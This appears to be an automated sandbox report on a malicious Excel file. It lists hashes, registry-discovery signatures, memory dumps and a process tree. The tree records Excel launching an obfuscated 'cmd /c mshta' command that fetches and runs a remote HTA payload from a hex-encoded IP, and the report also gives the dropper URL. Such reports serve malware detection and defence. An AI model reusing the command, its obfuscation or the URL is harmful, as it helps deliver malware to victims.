383d512f82313e22bd0ac97517b77f7179a3c77f5b39e5b2335013d2a2b0fafd

Analysis

max time kernel
133s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21/11/2024, 00:49

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General

Target

383d512f82313e22bd0ac97517b77f7179a3c77f5b39e5b2335013d2a2b0fafd.xls
Size

100KB
MD5

d72a4038c6bbc827edbe1acad62037c4
SHA1

afd87e7be24df815bd2c0307f401517fb83cd2b4
SHA256

383d512f82313e22bd0ac97517b77f7179a3c77f5b39e5b2335013d2a2b0fafd
SHA512

4e6682861496180f95dbbb015cd2a4829727adff88de561396c09391fbe3c6e41302126b6b23818614c4efcfa0f7d8f0ed23a0b7bcbc4ec80028dc60c5a59138
SSDEEP

3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe3.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2708	4260	cmd.exe	81

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	1472	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4260	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4260	EXCEL.EXE
4260	EXCEL.EXE
4260	EXCEL.EXE
4260	EXCEL.EXE
4260	EXCEL.EXE
4260	EXCEL.EXE
4260	EXCEL.EXE
4260	EXCEL.EXE
4260	EXCEL.EXE
4260	EXCEL.EXE
4260	EXCEL.EXE
4260	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4260 wrote to memory of 2708	4260	EXCEL.EXE	86
PID 4260 wrote to memory of 2708	4260	EXCEL.EXE	86
PID 2708 wrote to memory of 1472	2708	cmd.exe	88
PID 2708 wrote to memory of 1472	2708	cmd.exe	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\383d512f82313e22bd0ac97517b77f7179a3c77f5b39e5b2335013d2a2b0fafd.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4260
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe3.html
    3⤵
    - Blocklisted process makes network request
    PID:1472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/4260-1-0x00007FFF8450D000-0x00007FFF8450E000-memory.dmp

Filesize
4KB

Download
memory/4260-0-0x00007FFF444F0000-0x00007FFF44500000-memory.dmp

Filesize
64KB

Download
memory/4260-4-0x00007FFF84470000-0x00007FFF84665000-memory.dmp

Filesize
2.0MB

Download
memory/4260-5-0x00007FFF84470000-0x00007FFF84665000-memory.dmp

Filesize
2.0MB

Download
memory/4260-6-0x00007FFF444F0000-0x00007FFF44500000-memory.dmp

Filesize
64KB

Download
memory/4260-8-0x00007FFF444F0000-0x00007FFF44500000-memory.dmp

Filesize
64KB

Download
memory/4260-10-0x00007FFF84470000-0x00007FFF84665000-memory.dmp

Filesize
2.0MB

Download
memory/4260-14-0x00007FFF84470000-0x00007FFF84665000-memory.dmp

Filesize
2.0MB

Download
memory/4260-13-0x00007FFF84470000-0x00007FFF84665000-memory.dmp

Filesize
2.0MB

Download
memory/4260-12-0x00007FFF84470000-0x00007FFF84665000-memory.dmp

Filesize
2.0MB

Download
memory/4260-11-0x00007FFF84470000-0x00007FFF84665000-memory.dmp

Filesize
2.0MB

Download
memory/4260-9-0x00007FFF84470000-0x00007FFF84665000-memory.dmp

Filesize
2.0MB

Download
memory/4260-7-0x00007FFF84470000-0x00007FFF84665000-memory.dmp

Filesize
2.0MB

Download
memory/4260-3-0x00007FFF444F0000-0x00007FFF44500000-memory.dmp

Filesize
64KB

Download
memory/4260-2-0x00007FFF444F0000-0x00007FFF44500000-memory.dmp

Filesize
64KB

Download
memory/4260-15-0x00007FFF41B90000-0x00007FFF41BA0000-memory.dmp

Filesize
64KB

Download
memory/4260-17-0x00007FFF84470000-0x00007FFF84665000-memory.dmp

Filesize
2.0MB

Download
memory/4260-18-0x00007FFF41B90000-0x00007FFF41BA0000-memory.dmp

Filesize
64KB

Download
memory/4260-19-0x00007FFF84470000-0x00007FFF84665000-memory.dmp

Filesize
2.0MB

Download
memory/4260-16-0x00007FFF84470000-0x00007FFF84665000-memory.dmp

Filesize
2.0MB

Download
memory/4260-30-0x00007FFF84470000-0x00007FFF84665000-memory.dmp

Filesize
2.0MB

Download
memory/4260-31-0x00007FFF8450D000-0x00007FFF8450E000-memory.dmp

Filesize
4KB

Download
memory/4260-32-0x00007FFF84470000-0x00007FFF84665000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads